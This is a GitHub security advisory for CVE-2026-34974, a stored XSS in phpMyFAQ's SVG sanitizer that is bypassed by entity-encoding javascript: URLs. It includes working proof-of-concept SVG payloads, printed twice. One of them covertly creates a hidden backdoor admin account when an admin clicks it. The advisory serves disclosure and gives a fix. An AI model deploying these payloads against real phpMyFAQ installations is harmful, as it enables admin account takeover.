GHSA-5CRX-PFHQ-4HGG
Vulnerability from github – Published: 2026-04-01 23:42 – Updated: 2026-04-06 17:18Summary
The regex-based SVG sanitizer in phpMyFAQ (SvgSanitizer.php) can be bypassed using HTML entity encoding in javascript: URLs within SVG <a href> attributes. Any user with edit_faq permission can upload a malicious SVG that executes arbitrary JavaScript when viewed, enabling privilege escalation from editor to full admin takeover.
Details
The file phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php (introduced 2026-01-15) uses regex patterns to detect dangerous content in uploaded SVG files. The regex for javascript: URL detection is:
/href\s*=\s*["\']javascript:[^"\']*["\']/i
This pattern matches the literal string javascript: but fails when the URL is HTML entity encoded. For example, javascript: decodes to javascript: in the browser, but does NOT match the regex. The isSafe() method returns true, so the SVG is accepted without sanitization.
Additionally, the DANGEROUS_ELEMENTS blocklist misses <animate>, <set>, and <use> elements which can also be used to execute JavaScript in SVG context.
Uploaded SVG files are served with Content-Type: image/svg+xml and no Content-Disposition: attachment header, so browsers render them inline and execute any JavaScript they contain.
The image upload endpoint (/admin/api/content/images) only requires the edit_faq permission — not full admin — so any editor-level user can upload malicious SVGs.
PoC
Basic XSS (confirmed working in Chrome 146 and Edge)
- Login to phpMyFAQ admin panel with any account that has
edit_faqpermission - Navigate to Admin → Content → Add New FAQ
- In the TinyMCE editor, click the image upload button
- Upload this SVG file:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 200">
<a href="javascript:alert(document.domain)">
<text x="20" y="50" font-size="16" fill="red">Click for XSS</text>
</a>
</svg>
- The SVG is uploaded to
/content/user/images/<timestamp>_<filename>.svg - Open the SVG URL directly in a browser
- Click the red text →
alert(document.domain)executes
Privilege Escalation (Editor → Admin Takeover)
- As editor, upload this SVG:
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 300">
<rect width="500" height="300" fill="#f8f9fa"/>
<text x="250" y="100" text-anchor="middle" font-size="22" fill="#333">📋 System Notice</text>
<a href="javascript:fetch('/admin/api/user/add',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({userName:'backdoor',userPassword:'H4ck3d!',realName:'System',email:'evil@attacker.com','is-visible':false}),credentials:'include'}).then(r=>r.json()).then(d=>document.title='pwned')">
<rect x="150" y="170" width="200" height="50" rx="8" fill="#0d6efd"/>
<text x="250" y="200" text-anchor="middle" font-size="16" fill="white">View Update →</text>
</a>
</svg>
- Send the SVG URL to an admin
- Admin opens URL, clicks "View Update →"
- JavaScript creates backdoor admin user
backdoor:H4ck3d! - Attacker logs in as
backdoorwith full admin privileges
Impact
This is a Stored Cross-Site Scripting (XSS) vulnerability that enables privilege escalation. Any user with edit_faq permission (editor role) can upload a weaponized SVG file. When an admin views the SVG, arbitrary JavaScript executes in their browser on the phpMyFAQ origin, allowing the attacker to:
- Create backdoor admin accounts via the admin API
- Exfiltrate phpMyFAQ configuration (database credentials, API tokens)
- Modify or delete FAQ content
- Achieve full admin account takeover
The vulnerability affects all phpMyFAQ installations using the SvgSanitizer class (introduced 2026-01-15). Recommended fix: replace regex-based sanitization with a DOM-based allowlist approach, or serve SVG files with Content-Disposition: attachment to prevent inline rendering.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.0"
},
"package": {
"ecosystem": "Packagist",
"name": "thorsten/phpmyfaq"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-34974"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-01T23:42:47Z",
"nvd_published_at": "2026-04-02T15:16:51Z",
"severity": "MODERATE"
},
"details": "### Summary\nThe regex-based SVG sanitizer in phpMyFAQ (`SvgSanitizer.php`) can be bypassed using HTML entity encoding in `javascript:` URLs within SVG `\u003ca href\u003e` attributes. Any user with `edit_faq` permission can upload a malicious SVG that executes arbitrary JavaScript when viewed, enabling privilege escalation from editor to full admin takeover.\n\n### Details\nThe file `phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php` (introduced 2026-01-15) uses regex patterns to detect dangerous content in uploaded SVG files. The regex for `javascript:` URL detection is:\n\n`/href\\s*=\\s*[\"\\\u0027]javascript:[^\"\\\u0027]*[\"\\\u0027]/i`\n\nThis pattern matches the literal string `javascript:` but fails when the URL is HTML entity encoded. For example, `\u0026#106;\u0026#97;\u0026#118;\u0026#97;\u0026#115;\u0026#99;\u0026#114;\u0026#105;\u0026#112;\u0026#116;\u0026#58;` decodes to `javascript:` in the browser, but does NOT match the regex. The `isSafe()` method returns `true`, so the SVG is accepted without sanitization.\n\nAdditionally, the `DANGEROUS_ELEMENTS` blocklist misses `\u003canimate\u003e`, `\u003cset\u003e`, and `\u003cuse\u003e` elements which can also be used to execute JavaScript in SVG context.\n\nUploaded SVG files are served with `Content-Type: image/svg+xml` and no `Content-Disposition: attachment` header, so browsers render them inline and execute any JavaScript they contain.\n\nThe image upload endpoint (`/admin/api/content/images`) only requires the `edit_faq` permission \u2014 not full admin \u2014 so any editor-level user can upload malicious SVGs.\n\n### PoC\n### Basic XSS (confirmed working in Chrome 146 and Edge)\n\n1. Login to phpMyFAQ admin panel with any account that has `edit_faq` permission\n2. Navigate to Admin \u2192 Content \u2192 Add New FAQ\n3. In the TinyMCE editor, click the image upload button\n4. Upload this SVG file:\n\n```xml\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 200 200\"\u003e\n \u003ca href=\"\u0026#106;\u0026#97;\u0026#118;\u0026#97;\u0026#115;\u0026#99;\u0026#114;\u0026#105;\u0026#112;\u0026#116;\u0026#58;alert(document.domain)\"\u003e\n \u003ctext x=\"20\" y=\"50\" font-size=\"16\" fill=\"red\"\u003eClick for XSS\u003c/text\u003e\n \u003c/a\u003e\n\u003c/svg\u003e\n```\n\n5. The SVG is uploaded to `/content/user/images/\u003ctimestamp\u003e_\u003cfilename\u003e.svg`\n6. Open the SVG URL directly in a browser\n7. Click the red text \u2192 `alert(document.domain)` executes\n\n### Privilege Escalation (Editor \u2192 Admin Takeover)\n\n1. As editor, upload this SVG:\n\n```xml\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 500 300\"\u003e\n \u003crect width=\"500\" height=\"300\" fill=\"#f8f9fa\"/\u003e\n \u003ctext x=\"250\" y=\"100\" text-anchor=\"middle\" font-size=\"22\" fill=\"#333\"\u003e\ud83d\udccb System Notice\u003c/text\u003e\n \u003ca href=\"\u0026#106;\u0026#97;\u0026#118;\u0026#97;\u0026#115;\u0026#99;\u0026#114;\u0026#105;\u0026#112;\u0026#116;\u0026#58;fetch(\u0027/admin/api/user/add\u0027,{method:\u0027POST\u0027,headers:{\u0027Content-Type\u0027:\u0027application/json\u0027},body:JSON.stringify({userName:\u0027backdoor\u0027,userPassword:\u0027H4ck3d!\u0027,realName:\u0027System\u0027,email:\u0027evil@attacker.com\u0027,\u0027is-visible\u0027:false}),credentials:\u0027include\u0027}).then(r=\u003er.json()).then(d=\u003edocument.title=\u0027pwned\u0027)\"\u003e\n \u003crect x=\"150\" y=\"170\" width=\"200\" height=\"50\" rx=\"8\" fill=\"#0d6efd\"/\u003e\n \u003ctext x=\"250\" y=\"200\" text-anchor=\"middle\" font-size=\"16\" fill=\"white\"\u003eView Update \u2192\u003c/text\u003e\n \u003c/a\u003e\n\u003c/svg\u003e\n```\n\n2. Send the SVG URL to an admin\n3. Admin opens URL, clicks \"View Update \u2192\"\n4. JavaScript creates backdoor admin user `backdoor:H4ck3d!`\n5. Attacker logs in as `backdoor` with full admin privileges\n\n\n### Impact\nThis is a Stored Cross-Site Scripting (XSS) vulnerability that enables privilege escalation. Any user with `edit_faq` permission (editor role) can upload a weaponized SVG file. When an admin views the SVG, arbitrary JavaScript executes in their browser on the phpMyFAQ origin, allowing the attacker to:\n- Create backdoor admin accounts via the admin API\n- Exfiltrate phpMyFAQ configuration (database credentials, API tokens)\n- Modify or delete FAQ content\n- Achieve full admin account takeover\nThe vulnerability affects all phpMyFAQ installations using the `SvgSanitizer` class (introduced 2026-01-15). Recommended fix: replace regex-based sanitization with a DOM-based allowlist approach, or serve SVG files with `Content-Disposition: attachment` to prevent inline rendering.",
"id": "GHSA-5crx-pfhq-4hgg",
"modified": "2026-04-06T17:18:58Z",
"published": "2026-04-01T23:42:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-5crx-pfhq-4hgg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34974"
},
{
"type": "PACKAGE",
"url": "https://github.com/thorsten/phpMyFAQ"
},
{
"type": "WEB",
"url": "https://github.com/thorsten/phpMyFAQ/releases/tag/4.1.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "phpMyFAQ: SVG Sanitizer Bypass via HTML Entity Encoding Leads to Stored XSS and Privilege Escalation"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.